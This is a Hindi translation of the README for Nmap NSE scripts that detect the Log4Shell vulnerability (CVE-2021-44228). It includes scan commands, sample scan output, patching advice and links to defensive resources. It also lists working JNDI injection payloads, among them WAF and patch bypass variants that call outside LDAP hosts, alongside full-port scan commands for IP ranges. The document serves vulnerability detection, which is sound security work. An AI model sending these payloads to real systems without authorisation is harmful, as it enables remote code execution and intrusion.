
log4shell या LogJam कमजोरियों (CVE-2021-44228) के विरुद्ध जाँच करने के लिए Nmap NSE स्क्रिप्ट्स
लॉग4शेल या LogJam कमजोरियों (CVE-2021-44228) की जांच के लिए Nmap NSE स्क्रिप्ट्स। NSE स्क्रिप्ट्स इंटरनेट पर सबसे लोकप्रिय खुली सेवाओं की जांच करती हैं। यह एक बुनियादी स्क्रिप्ट है जहाँ आप पेलोड को अनुकूलित कर सकते हैं।
ध्यान दें कि NSE स्क्रिप्ट्स केवल सेवाओं को अनुरोध भेजेंगी। Nmap कमजोर होस्ट की रिपोर्ट नहीं करेगा, बल्कि आपको DNS लॉग्स की जांच करनी होगी। यदि आप मैन्युअल रूप से पेलोड निर्दिष्ट नहीं करते हैं, तो NSE स्क्रिप्ट्स डिफ़ॉल्ट रूप से dnslog.cn का उपयोग करेंगी। इसका मतलब है कि अनुरोध dnslog.cn द्वारा देखे जाएंगे।
उस निर्देशिका पर जाएँ जहाँ ये स्क्रिप्ट्स स्थित हैं और निम्नलिखित कमांड जारी करें (Nmap स्वचालित रूप से dnslog.cn प्राप्त करेगा)।
Linux पर:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
Windows पर:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
v2.15.0 पर नया पैच बाईपास (CVE-2021-45046), @marcioalm को धन्यवाद (ट्वीट):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
AWS बाईपास (@11xuxx को धन्यवाद - ट्वीट):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
Akamai बाईपास (@ozgur_bbh को धन्यवाद - ट्वीट):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
Windows उदाहरण (@ZedFuzz को धन्यवाद) - कोट्स को एस्केप करने का तरीका नोट करें:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
http://github.com/kost/logdns पर जाएँ और DNS सर्वर प्राप्त करें। डोमेन प्राप्त करें और इसे उस स्थान पर पॉइंट करें जहाँ आपने logdns स्थापित किया है:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
http://dnslog.cn/ पर जाएँ और SubDomain प्राप्त करें। अपने xxxx को अपने SubDomain से बदलें:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Burp collaborator से अपना डोमेन लें और xxxx को अपने डोमेन से बदलें:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
CanaryToken से अपना टोकन लें और xxxx को अपने डोमेन से बदलें:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
@saintz666 को धन्यवाद
dnslog.cn में छोटे सत्र होते हैं (लगभग आधे घंटे)। स्कैन जितना समय लेता है, उतने समय तक सत्र को बढ़ाने का कोई तरीका होना चाहिए। साथ ही, कभी-कभी DNS क्वेरी अनुरोध प्राप्त होने के बाद बहुत बाद में होती है। किसी ने बताया कि अनुरोध करने के घंटों बाद DNS अनुरोध प्राप्त हुआ। कार्य-समाधान के रूप में, nmap NSE स्क्रिप्ट्स प्रत्येक होस्ट स्कैन करने के बाद सत्र पुनः प्राप्त करती हैं।
इसलिए, वर्तमान में, सबसे अच्छे आश्वासन के लिए logdns जैसे उपकरण के साथ कस्टम DNS डोमेन का उपयोग करना है: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
सर्वोत्तम सुधारों और कार्य-समाधानों की सूची।
CVE-2021-44228 से बचाव का सर्वोत्तम उपाय: log4j-2.16.0 या उसके बाद के संस्करण में अपडेट करें।
ध्यान दें कि log4j-2.15.0-rc1 अब अनुशंसित नहीं है क्योंकि नई कमजोरियाँ पाई गईं। इसलिए, आपको log4j-2.16.0 या उसके बाद के संस्करण में अपडेट करना चाहिए (@ruppde को धन्यवाद)।
साथ ही, ध्यान दें कि log4j2.formatMsgNoLookups को true पर सेट करने जैसी अन्य अनुशंसाओं से बचना चाहिए।
log4shell कमजोरी की पहचान करने का सबसे अच्छा तरीका स्थानीय फाइलसिस्टम में log4j आर्टिफैक्ट्स की जांच करना है।
इन NSE स्क्रिप्ट्स का उपयोग केवल अतिरिक्त आश्वासन के लिए किया जाना चाहिए। NSE कमजोर सेवाओं की पहचान करने में मदद करती हैं, न कि कमजोर एप्लिकेशन की। यह कमजोर एप्लिकेशन की पहचान कर सकती है यदि वह हर अनुरोध (रूट / सहित) लॉग करता है, न कि यदि कमजोरी किसी लॉगिन के पीछे छिपी हो। इसके लिए आपको एक वेब स्कैनर की आवश्यकता होगी जो पूरी वेब को क्रॉल करे।
आप निम्नलिखित उदाहरण के साथ विशिष्ट URI की जांच कर सकते हैं:
http-log4shell.url=/my/application/uri
यह HTTP हेडर और कुकी के माध्यम से जांच करेगा। यदि आपको POST/GET फॉर्म की जांच करनी है, तो आपको http-spider-log4shell की जांच करनी चाहिए। फिर भी, log4j के समर्थन वाले वेब स्कैनर का उपयोग करना सबसे अच्छा है।
यह भी ध्यान दें कि log4j-core <= 2.7 के लिए अभिव्यक्ति में उपसर्ग संयोजन के साथ DNS रिज़ॉल्यूशन समर्थित नहीं लगता है। इसलिए, ${java:os} जैसी किसी चीज़ से परीक्षण करने से गलत नकारात्मक परिणाम हो सकते हैं। इसलिए, नकारात्मक से कुछ गलत सकारात्मक होना बेहतर है।
कमजोरी के सामान्य संदर्भ और लिंक
Reddit थ्रेड - log4shell के बारे में सामान्य जानकारी
NCC log4shell - कमजोरी से संबंधित परिचालन जानकारी (IOCs, शमन, स्कैनिंग, सॉफ्टवेयर)
BlueTeam CheatSheet Log4Shell - Log4Shell (CVE-2021-44228) से जुड़ी सुरक्षा सलाह/बुलेटिन
सॉफ्टवेयर सूची - चीट-शीट संदर्भ गाइड - विक्रेता प्रतिक्रियाओं द्वारा प्रभावित सॉफ्टवेयर सूची
ध्यान दें कि रिमोट और ऑनलाइन जाँचें अतिरिक्त आश्वासन या त्वरित परीक्षण के रूप में उपयोगी हैं। अतिरिक्त आश्वासन के लिए, स्थानीय रूप से फाइलों को ज्ञात log4j हस्ताक्षरों के लिए स्कैन करने की अनुशंसा की जाती है।
lo4shell.huntress.com - ऑनलाइन Log4Shell कमजोरी परीक्षक
log4j yara - स्थानीय पहचान के लिए yara नियम
identify-log4j-class-location.sh - ear/war/jar फ़ाइलों के संग्रह में CVE-2021-44228 के लिए प्रभावित Log4J क्लास की पहचान करने की स्क्रिप्ट
PoC-log4j-bypass-words - पैच को ब्लॉक करने वाले शब्दों को बायपास करने की एक युक्ति
log4shell-detector - Log4Shell शोषण प्रयासों का डिटेक्टर
Log4Shell-IOCs - IOC फीड और खतरे की रिपोर्ट की सूची
log4j_rce_detection.md - आप शोषण प्रयासों की खोज के लिए इन कमांड और नियमों का उपयोग कर सकते हैं
log4j सलाह - Apache Log4j सुरक्षा कमजोरियाँ
log4j पुल रिक्वेस्ट और टिप्पणियाँ - पुल रिक्वेस्ट जो टिप्पणियों के साथ बग को ठीक करती है
Logout4Shell - मैन्युअल पैचिंग का त्वरित और गंदा विकल्प